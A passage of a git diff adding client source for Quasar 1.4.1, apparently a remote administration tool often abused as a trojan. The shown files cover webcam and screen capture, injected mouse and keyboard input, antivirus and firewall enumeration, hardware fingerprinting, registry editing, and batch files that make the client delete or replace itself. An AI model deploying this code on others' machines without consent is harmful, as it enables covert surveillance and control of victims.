) && + ( crossbar.CanRoute( videoOutputPinIndex, videoInputPinIndex ) == 0 ) ) + { + crossbar.Route( videoOutputPinIndex, videoInputPinIndex ); + } + } + } + } + + /// + /// Notifies clients about new frame. + /// + /// + /// New frame's image. + /// + private void OnNewFrame( Bitmap image ) + { + framesReceived++; + bytesReceived += image.Width * image.Height * ( Bitmap.GetPixelFormatSize( image.PixelFormat ) >> 3 ); + + if ( ( !stopEvent.WaitOne( 0, false ) ) && ( NewFrame != null ) ) + NewFrame( this, new NewFrameEventArgs( image ) ); + } + + /// + /// Notifies clients about new snapshot frame. + /// + /// + /// New snapshot's image. + /// + private void OnSnapshotFrame( Bitmap image ) + { + TimeSpan timeSinceStarted = DateTime.Now - startTime; + + // TODO: need to find better way to ignore the first snapshot, which is sent + // automatically (or better disable it) + if ( timeSinceStarted.TotalSeconds >= 4 ) + { + if ( ( !stopEvent.WaitOne( 0, false ) ) && ( SnapshotFrame != null ) ) + SnapshotFrame( this, new NewFrameEventArgs( image ) ); + } + } + + // + // Video grabber + // + private class Grabber : ISampleGrabberCB + { + private VideoCaptureDevice parent; + private bool snapshotMode; + private int width, height; + + // Width property + public int Width + { + get { return width; } + set { width = value; } + } + // Height property + public int Height + { + get { return height; } + set { height = value; } + } + + // Constructor + public Grabber( VideoCaptureDevice parent, bool snapshotMode ) + { + this.parent = parent; + this.snapshotMode = snapshotMode; + } + + // Callback to receive samples + public int SampleCB( double sampleTime, IntPtr sample ) + { + return 0; + } + + // Callback method that receives a pointer to the sample buffer + public int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ) + { + if ( parent.NewFrame != null ) + { + // create new image + System.Drawing.Bitmap image = new Bitmap( width, height, PixelFormat.Format24bppRgb ); + + // lock bitmap data + BitmapData imageData = image.LockBits( + new Rectangle( 0, 0, width, height ), + ImageLockMode.ReadWrite, + PixelFormat.Format24bppRgb ); + + // copy image data + int srcStride = imageData.Stride; + int dstStride = imageData.Stride; + + unsafe + { + byte* dst = (byte*) imageData.Scan0.ToPointer( ) + dstStride * ( height - 1 ); + byte* src = (byte*) buffer.ToPointer( ); + + for ( int y = 0; y < height; y++ ) + { + Win32.memcpy( dst, src, srcStride ); + dst -= dstStride; + src += srcStride; + } + } + + // unlock bitmap data + image.UnlockBits( imageData ); + + // notify parent + if ( snapshotMode ) + { + parent.OnSnapshotFrame( image ); + } + else + { + parent.OnNewFrame( image ); + } + + // release the image + image.Dispose( ); + } + + return 0; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoInput.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoInput.cs new file mode 100755 index 0000000..d88b64d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoInput.cs @@ -0,0 +1,47 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + + /// + /// Video input of a capture board. + /// + /// + /// The class is used to describe video input of devices like video capture boards, + /// which usually provide several inputs. + /// + /// + public class VideoInput + { + /// + /// Index of the video input. + /// + public readonly int Index; + + /// + /// Type of the video input. + /// + public readonly PhysicalConnectorType Type; + + internal VideoInput( int index, PhysicalConnectorType type ) + { + Index = index; + Type = type; + } + + /// + /// Default video input. Used to specify that it should not be changed. + /// + public static VideoInput Default + { + get { return new VideoInput( -1, PhysicalConnectorType.Default ); } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video/IVideoSource.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video/IVideoSource.cs new file mode 100755 index 0000000..d6ae3e5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video/IVideoSource.cs @@ -0,0 +1,126 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © Andrew Kirillov, 2005-2009 +// andrew.kirillov@aforgenet.com +// + +namespace AForge.Video +{ + using System; + + /// + /// Video source interface. + /// + /// + /// The interface describes common methods for different type of video sources. + /// + public interface IVideoSource + { + /// + /// New frame event. + /// + /// + /// This event is used to notify clients about new available video frame. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed video frame, but video source is responsible for + /// disposing its own original copy after notifying of clients. + /// + /// + event NewFrameEventHandler NewFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + event VideoSourceErrorEventHandler VideoSourceError; + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// + event PlayingFinishedEventHandler PlayingFinished; + + /// + /// Video source. + /// + /// + /// The meaning of the property depends on particular video source. + /// Depending on video source it may be a file name, URL or any other string + /// describing the video source. + /// + string Source { get; } + + /// + /// Received frames count. + /// + /// + /// Number of frames the video source provided from the moment of the last + /// access to the property. + /// + /// + int FramesReceived { get; } + + /// + /// Received bytes count. + /// + /// + /// Number of bytes the video source provided from the moment of the last + /// access to the property. + /// + /// + long BytesReceived { get; } + + /// + /// State of the video source. + /// + /// + /// Current state of video source object - running or not. + /// + bool IsRunning { get; } + + /// + /// Start video source. + /// + /// + /// Starts video source and return execution to caller. Video source + /// object creates background thread and notifies about new frames with the + /// help of event. + /// + void Start( ); + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + void SignalToStop( ); + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for video source stopping after it was signalled to stop using + /// method. + /// + void WaitForStop( ); + + /// + /// Stop video source. + /// + /// + /// Stops video source aborting its thread. + /// + void Stop( ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video/VideoEvents.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video/VideoEvents.cs new file mode 100755 index 0000000..c5729e5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video/VideoEvents.cs @@ -0,0 +1,125 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video +{ + using System; + + /// + /// Delegate for new frame event handler. + /// + /// + /// Sender object. + /// Event arguments. + /// + public delegate void NewFrameEventHandler( object sender, NewFrameEventArgs eventArgs ); + + /// + /// Delegate for video source error event handler. + /// + /// + /// Sender object. + /// Event arguments. + /// + public delegate void VideoSourceErrorEventHandler( object sender, VideoSourceErrorEventArgs eventArgs ); + + /// + /// Delegate for playing finished event handler. + /// + /// + /// Sender object. + /// Reason of finishing video playing. + /// + public delegate void PlayingFinishedEventHandler( object sender, ReasonToFinishPlaying reason ); + + /// + /// Reason of finishing video playing. + /// + /// + /// When video source class fire the event, they + /// need to specify reason of finishing video playing. For example, it may be end of stream reached. + /// + public enum ReasonToFinishPlaying + { + /// + /// Video playing has finished because it end was reached. + /// + EndOfStreamReached, + /// + /// Video playing has finished because it was stopped by user. + /// + StoppedByUser, + /// + /// Video playing has finished because the device was lost (unplugged). + /// + DeviceLost, + /// + /// Video playing has finished because of some error happened the video source (camera, stream, file, etc.). + /// A error reporting event usually is fired to provide error information. + /// + VideoSourceError + } + + /// + /// Arguments for new frame event from video source. + /// + /// + public class NewFrameEventArgs : EventArgs + { + private System.Drawing.Bitmap frame; + + /// + /// Initializes a new instance of the class. + /// + /// + /// New frame. + /// + public NewFrameEventArgs( System.Drawing.Bitmap frame ) + { + this.frame = frame; + } + + /// + /// New frame from video source. + /// + /// + public System.Drawing.Bitmap Frame + { + get { return frame; } + } + } + + /// + /// Arguments for video source error event from video source. + /// + /// + public class VideoSourceErrorEventArgs : EventArgs + { + private string description; + + /// + /// Initializes a new instance of the class. + /// + /// + /// Error description. + /// + public VideoSourceErrorEventArgs( string description ) + { + this.description = description; + } + + /// + /// Video source error description. + /// + /// + public string Description + { + get { return description; } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/DateTimeHelper.cs b/Quasar-1.4.1/Quasar.Client/Helper/DateTimeHelper.cs new file mode 100755 index 0000000..90405a0 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/DateTimeHelper.cs @@ -0,0 +1,16 @@ +using System; + +namespace Quasar.Client.Helper +{ + public static class DateTimeHelper + { + public static string GetLocalTimeZone() + { + var tz = TimeZoneInfo.Local; + var tzOffset = tz.GetUtcOffset(DateTime.Now); + var tzOffsetSign = tzOffset >= TimeSpan.Zero ? "+" : ""; + var tzName = tz.SupportsDaylightSavingTime && tz.IsDaylightSavingTime(DateTime.Now) ? tz.DaylightName : tz.StandardName; + return $"{tzName} (UTC {tzOffsetSign}{tzOffset.Hours}{(tzOffset.Minutes != 0 ? $":{Math.Abs(tzOffset.Minutes)}" : "")})"; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/JsonHelper.cs b/Quasar-1.4.1/Quasar.Client/Helper/JsonHelper.cs new file mode 100755 index 0000000..9dfdfe7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/JsonHelper.cs @@ -0,0 +1,46 @@ +using System.IO; +using System.Runtime.Serialization.Json; +using System.Text; + +namespace Quasar.Client.Helper +{ + /// + /// Provides methods to serialize and deserialize JSON. + /// + public static class JsonHelper + { + /// + /// Serializes an object to the respectable JSON string. + /// + public static string Serialize(T o) + { + var s = new DataContractJsonSerializer(typeof(T)); + using (var ms = new MemoryStream()) + { + s.WriteObject(ms, o); + return Encoding.UTF8.GetString(ms.ToArray()); + } + } + + /// + /// Deserializes a JSON string to the specified object. + /// + public static T Deserialize(string json) + { + var s = new DataContractJsonSerializer(typeof(T)); + using (var ms = new MemoryStream(Encoding.UTF8.GetBytes(json))) + { + return (T)s.ReadObject(ms); + } + } + + /// + /// Deserializes a JSON stream to the specified object. + /// + public static T Deserialize(Stream stream) + { + var s = new DataContractJsonSerializer(typeof(T)); + return (T)s.ReadObject(stream); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/NativeMethodsHelper.cs b/Quasar-1.4.1/Quasar.Client/Helper/NativeMethodsHelper.cs new file mode 100755 index 0000000..1002244 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/NativeMethodsHelper.cs @@ -0,0 +1,197 @@ +using Quasar.Client.Utilities; +using System; +using System.Drawing; +using System.Runtime.InteropServices; +using System.Text; + +namespace Quasar.Client.Helper +{ + public static class NativeMethodsHelper + { + private const int INPUT_MOUSE = 0; + private const int INPUT_KEYBOARD = 1; + + private const uint MOUSEEVENTF_LEFTDOWN = 0x0002; + private const uint MOUSEEVENTF_LEFTUP = 0x0004; + private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008; + private const uint MOUSEEVENTF_RIGHTUP = 0x0010; + private const uint MOUSEEVENTF_WHEEL = 0x0800; + private const uint KEYEVENTF_KEYDOWN = 0x0000; + private const uint KEYEVENTF_KEYUP = 0x0002; + + public static uint GetLastInputInfoTickCount() + { + NativeMethods.LASTINPUTINFO lastInputInfo = new NativeMethods.LASTINPUTINFO(); + lastInputInfo.cbSize = (uint) Marshal.SizeOf(lastInputInfo); + lastInputInfo.dwTime = 0; + NativeMethods.GetLastInputInfo(ref lastInputInfo); + return lastInputInfo.dwTime; + } + + public static void DoMouseLeftClick(Point p, bool isMouseDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = 0, + dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + public static void DoMouseRightClick(Point p, bool isMouseDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = 0, + dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + public static void DoMouseMove(Point p) + { + NativeMethods.SetCursorPos(p.X, p.Y); + } + + public static void DoMouseScroll(Point p, bool scrollDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = scrollDown ? -120 : 120, + dwFlags = MOUSEEVENTF_WHEEL, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + public static void DoKeyPress(byte key, bool keyDown) + { + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_KEYBOARD, + u = new NativeMethods.InputUnion + { + ki = new NativeMethods.KEYBDINPUT + { + wVk = key, + wScan = 0, + dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); + } + + private const int SPI_GETSCREENSAVERRUNNING = 114; + + public static bool IsScreensaverActive() + { + var running = IntPtr.Zero; + + if (!NativeMethods.SystemParametersInfo( + SPI_GETSCREENSAVERRUNNING, + 0, + ref running, + 0)) + { + // Something went wrong (Marshal.GetLastWin32Error) + } + + return running != IntPtr.Zero; + } + + private const uint DESKTOP_WRITEOBJECTS = 0x0080; + private const uint DESKTOP_READOBJECTS = 0x0001; + private const int WM_CLOSE = 16; + private const uint SPI_SETSCREENSAVEACTIVE = 0x0011; + private const uint SPIF_SENDWININICHANGE = 0x0002; + + public static void DisableScreensaver() + { + var handle = NativeMethods.OpenDesktop("Screen-saver", 0, + false, DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS); + + if (handle != IntPtr.Zero) + { + NativeMethods.EnumDesktopWindows(handle, (hWnd, lParam) => + { + if (NativeMethods.IsWindowVisible(hWnd)) + NativeMethods.PostMessage(hWnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); + + // Continue enumeration even if it fails + return true; + }, + IntPtr.Zero); + NativeMethods.CloseDesktop(handle); + } + else + { + NativeMethods.PostMessage(NativeMethods.GetForegroundWindow(), WM_CLOSE, IntPtr.Zero, IntPtr.Zero); + } + + // We need to restart the counter for next screensaver according to + // https://support.microsoft.com/en-us/kb/140723 + // (this may not be needed since we simulate mouse click afterwards) + + var dummy = IntPtr.Zero; + + // Doesn't really matter if this fails + NativeMethods.SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, 1 /* TRUE */, ref dummy, SPIF_SENDWININICHANGE); + + } + + public static string GetForegroundWindowTitle() + { + StringBuilder sbTitle = new StringBuilder(1024); + + NativeMethods.GetWindowText(NativeMethods.GetForegroundWindow(), sbTitle, sbTitle.Capacity); + + return sbTitle.ToString(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/RegistryKeyHelper.cs b/Quasar-1.4.1/Quasar.Client/Helper/RegistryKeyHelper.cs new file mode 100755 index 0000000..2331c6a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/RegistryKeyHelper.cs @@ -0,0 +1,158 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using Microsoft.Win32; +using Quasar.Client.Extensions; +using Quasar.Common.Models; +using Quasar.Common.Utilities; + +namespace Quasar.Client.Helper +{ + public static class RegistryKeyHelper + { + private static string DEFAULT_VALUE = String.Empty; + + /// + /// Adds a value to the registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// The name of the value. + /// The value. + /// If set to True, adds quotes to the value. + /// True on success, else False. + public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false) + { + try + { + using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path)) + { + if (key == null) return false; + + if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\"")) + value = "\"" + value + "\""; + + key.SetValue(name, value); + return true; + } + } + catch (Exception) + { + return false; + } + } + + /// + /// Opens a read-only registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// + public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path) + { + try + { + return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, false); + } + catch + { + return null; + } + } + + /// + /// Deletes the specified value from the registry key. + /// + /// Represents the possible values for a top-level node on a foreign machine. + /// The path to the registry key. + /// The name of the value to delete. + /// True on success, else False. + public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name) + { + try + { + using (RegistryKey key = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path)) + { + if (key == null) return false; + key.DeleteValue(name, true); + return true; + } + } + catch (Exception) + { + return false; + } + } + + /// + /// Checks if the provided value is the default value + /// + /// The name of the value + /// True if default value, else False + public static bool IsDefaultValue(string valueName) + { + return String.IsNullOrEmpty(valueName); + } + + /// + /// Adds the default value to the list of values and returns them as an array. + /// If default value already exists this function will only return the list as an array. + /// + /// The list with the values for which the default value should be added to + /// Array with all of the values including the default value + public static RegValueData[] AddDefaultValue(List values) + { + if(!values.Any(value => IsDefaultValue(value.Name))) + { + values.Add(GetDefaultValue()); + } + return values.ToArray(); + } + + /// + /// Gets the default registry values + /// + /// A array with the default registry values + public static RegValueData[] GetDefaultValues() + { + return new[] {GetDefaultValue()}; + } + + public static RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null) + { + var newRegValue = new RegValueData {Name = name, Kind = kind}; + + if (value == null) + newRegValue.Data = new byte[] { }; + else + { + switch (newRegValue.Kind) + { + case RegistryValueKind.Binary: + newRegValue.Data = (byte[]) value; + break; + case RegistryValueKind.MultiString: + newRegValue.Data = ByteConverter.GetBytes((string[]) value); + break; + case RegistryValueKind.DWord: + newRegValue.Data = ByteConverter.GetBytes((uint) (int) value); + break; + case RegistryValueKind.QWord: + newRegValue.Data = ByteConverter.GetBytes((ulong) (long) value); + break; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + newRegValue.Data = ByteConverter.GetBytes((string) value); + break; + } + } + + return newRegValue; + } + + private static RegValueData GetDefaultValue() + { + return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/ScreenHelper.cs b/Quasar-1.4.1/Quasar.Client/Helper/ScreenHelper.cs new file mode 100755 index 0000000..a41730b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/ScreenHelper.cs @@ -0,0 +1,38 @@ +using System; +using System.Drawing; +using System.Drawing.Imaging; +using System.Windows.Forms; +using Quasar.Client.Utilities; + +namespace Quasar.Client.Helper +{ + public static class ScreenHelper + { + private const int SRCCOPY = 0x00CC0020; + + public static Bitmap CaptureScreen(int screenNumber) + { + Rectangle bounds = GetBounds(screenNumber); + Bitmap screen = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppPArgb); + + using (Graphics g = Graphics.FromImage(screen)) + { + IntPtr destDeviceContext = g.GetHdc(); + IntPtr srcDeviceContext = NativeMethods.CreateDC("DISPLAY", null, null, IntPtr.Zero); + + NativeMethods.BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext, bounds.X, + bounds.Y, SRCCOPY); + + NativeMethods.DeleteDC(srcDeviceContext); + g.ReleaseHdc(destDeviceContext); + } + + return screen; + } + + public static Rectangle GetBounds(int screenNumber) + { + return Screen.AllScreens[screenNumber].Bounds; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/SystemHelper.cs b/Quasar-1.4.1/Quasar.Client/Helper/SystemHelper.cs new file mode 100755 index 0000000..8be47bd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/SystemHelper.cs @@ -0,0 +1,95 @@ +using Quasar.Common.Helpers; +using System; +using System.Management; + +namespace Quasar.Client.Helper +{ + public static class SystemHelper + { + public static string GetUptime() + { + try + { + string uptime = string.Empty; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_OperatingSystem WHERE Primary='true'")) + { + foreach (ManagementObject mObject in searcher.Get()) + { + DateTime lastBootUpTime = ManagementDateTimeConverter.ToDateTime(mObject["LastBootUpTime"].ToString()); + TimeSpan uptimeSpan = TimeSpan.FromTicks((DateTime.Now - lastBootUpTime).Ticks); + + uptime = string.Format("{0}d : {1}h : {2}m : {3}s", uptimeSpan.Days, uptimeSpan.Hours, uptimeSpan.Minutes, uptimeSpan.Seconds); + break; + } + } + + if (string.IsNullOrEmpty(uptime)) + throw new Exception("Getting uptime failed"); + + return uptime; + } + catch (Exception) + { + return string.Format("{0}d : {1}h : {2}m : {3}s", 0, 0, 0, 0); + } + } + + public static string GetPcName() + { + return Environment.MachineName; + } + + public static string GetAntivirus() + { + try + { + string antivirusName = string.Empty; + // starting with Windows Vista we must use the root\SecurityCenter2 namespace + string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter"; + string query = "SELECT * FROM AntivirusProduct"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + antivirusName += mObject["displayName"].ToString() + "; "; + } + } + antivirusName = StringHelper.RemoveLastChars(antivirusName); + + return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A"; + } + catch + { + return "Unknown"; + } + } + + public static string GetFirewall() + { + try + { + string firewallName = string.Empty; + // starting with Windows Vista we must use the root\SecurityCenter2 namespace + string scope = (PlatformHelper.VistaOrHigher) ? "root\\SecurityCenter2" : "root\\SecurityCenter"; + string query = "SELECT * FROM FirewallProduct"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + firewallName += mObject["displayName"].ToString() + "; "; + } + } + firewallName = StringHelper.RemoveLastChars(firewallName); + + return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A"; + } + catch + { + return "Unknown"; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/ILRepack.targets b/Quasar-1.4.1/Quasar.Client/ILRepack.targets new file mode 100755 index 0000000..e72bf5c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/ILRepack.targets @@ -0,0 +1,26 @@ + + + + + + + + + + + + + + + + + + + + + diff --git a/Quasar-1.4.1/Quasar.Client/IO/BatchFile.cs b/Quasar-1.4.1/Quasar.Client/IO/BatchFile.cs new file mode 100755 index 0000000..c927bb5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/IO/BatchFile.cs @@ -0,0 +1,79 @@ +using Quasar.Common.Helpers; +using System.IO; +using System.Text; + +namespace Quasar.Client.IO +{ + /// + /// Provides methods to create batch files for application update, uninstall and restart operations. + /// + public static class BatchFile + { + /// + /// Creates the uninstall batch file. + /// + /// The current file path of the client. + /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + public static string CreateUninstallBatch(string currentFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string uninstallBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 10 localhost > nul" + "\r\n" + + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; + + File.WriteAllText(batchFile, uninstallBatch, new UTF8Encoding(false)); + return batchFile; + } + + /// + /// Creates the update batch file. + /// + /// The current file path of the client. + /// The new file path of the client. + /// The file path to the batch file which can then get executed. Returns an empty string on failure. + public static string CreateUpdateBatch(string currentFilePath, string newFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string updateBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 15 localhost > nul" + "\r\n" + // Increased delay to 15 seconds + "del /a /q /f " + "\"" + currentFilePath + "\"" + "\r\n" + + "move /y " + "\"" + newFilePath + "\"" + " " + "\"" + currentFilePath + "\"" + "\r\n" + + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; + + File.WriteAllText(batchFile, updateBatch, new UTF8Encoding(false)); + return batchFile; + } + + /// + /// Creates the restart batch file. + /// + /// The current file path of the client. + /// The file path to the batch file which can then get executed. Returns string.Empty on failure. + public static string CreateRestartBatch(string currentFilePath) + { + string batchFile = FileHelper.GetTempFilePath(".bat"); + + string restartBatch = + "@echo off" + "\r\n" + + "chcp 65001" + "\r\n" + // Unicode path support for cyrillic, chinese, ... + "echo DONT CLOSE THIS WINDOW!" + "\r\n" + + "ping -n 10 localhost > nul" + "\r\n" + + "start \"\" " + "\"" + currentFilePath + "\"" + "\r\n" + + "del /a /q /f " + "\"" + batchFile + "\""; + + File.WriteAllText(batchFile, restartBatch, new UTF8Encoding(false)); + + return batchFile; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/IO/HardwareDevices.cs b/Quasar-1.4.1/Quasar.Client/IO/HardwareDevices.cs new file mode 100755 index 0000000..a75c2c1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/IO/HardwareDevices.cs @@ -0,0 +1,264 @@ +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; +using System; +using System.Linq; +using System.Management; +using System.Net.NetworkInformation; +using System.Net.Sockets; + +namespace Quasar.Client.IO +{ + /// + /// Provides access to retrieve information about the used hardware devices. + /// + /// Caches the retrieved information to reduce the slowdown of the slow WMI queries. + public static class HardwareDevices + { + /// + /// Gets a unique hardware id as a combination of various hardware components. + /// + public static string HardwareId => _hardwareId ?? (_hardwareId = Sha256.ComputeHash(CpuName + MainboardName + BiosManufacturer)); + + /// + /// Used to cache the hardware id. + /// + private static string _hardwareId; + + /// + /// Gets the name of the system CPU. + /// + public static string CpuName => _cpuName ?? (_cpuName = GetCpuName()); + + /// + /// Used to cache the CPU name. + /// + private static string _cpuName; + + /// + /// Gets the name of the GPU. + /// + public static string GpuName => _gpuName ?? (_gpuName = GetGpuName()); + + /// + /// Used to cache the GPU name. + /// + private static string _gpuName; + + /// + /// Gets the name of the BIOS manufacturer. + /// + public static string BiosManufacturer => _biosManufacturer ?? (_biosManufacturer = GetBiosManufacturer()); + + /// + /// Used to cache the BIOS manufacturer. + /// + private static string _biosManufacturer; + + /// + /// Gets the name of the mainboard. + /// + public static string MainboardName => _mainboardName ?? (_mainboardName = GetMainboardName()); + + /// + /// Used to cache the mainboard name. + /// + private static string _mainboardName; + + /// + /// Gets the total physical memory of the system in megabytes (MB). + /// + public static int? TotalPhysicalMemory => _totalPhysicalMemory ?? (_totalPhysicalMemory = GetTotalPhysicalMemoryInMb()); + + /// + /// Used to cache the total physical memory. + /// + private static int? _totalPhysicalMemory; + + /// + /// Gets the LAN IP address of the network interface. + /// + public static string LanIpAddress => GetLanIpAddress(); + + /// + /// Gets the MAC address of the network interface. + /// + public static string MacAddress => GetMacAddress(); + + private static string GetBiosManufacturer() + { + try + { + string biosIdentifier = string.Empty; + string query = "SELECT * FROM Win32_BIOS"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + biosIdentifier = mObject["Manufacturer"].ToString(); + break; + } + } + + return (!string.IsNullOrEmpty(biosIdentifier)) ? biosIdentifier : "N/A"; + } + catch + { + } + + return "Unknown"; + } + + private static string GetMainboardName() + { + try + { + string mainboardIdentifier = string.Empty; + string query = "SELECT * FROM Win32_BaseBoard"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + mainboardIdentifier = mObject["Manufacturer"].ToString() + " " + mObject["Product"].ToString(); + break; + } + } + + return (!string.IsNullOrEmpty(mainboardIdentifier)) ? mainboardIdentifier : "N/A"; + } + catch + { + } + + return "Unknown"; + } + + private static string GetCpuName() + { + try + { + string cpuName = string.Empty; + string query = "SELECT * FROM Win32_Processor"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + cpuName += mObject["Name"].ToString() + "; "; + } + } + cpuName = StringHelper.RemoveLastChars(cpuName); + + return (!string.IsNullOrEmpty(cpuName)) ? cpuName : "N/A"; + } + catch + { + } + + return "Unknown"; + } + + private static int GetTotalPhysicalMemoryInMb() + { + try + { + int installedRAM = 0; + string query = "Select * From Win32_ComputerSystem"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"])); + installedRAM = (int)(bytes / 1048576); // bytes to MB + break; + } + } + + return installedRAM; + } + catch + { + return -1; + } + } + + private static string GetGpuName() + { + try + { + string gpuName = string.Empty; + string query = 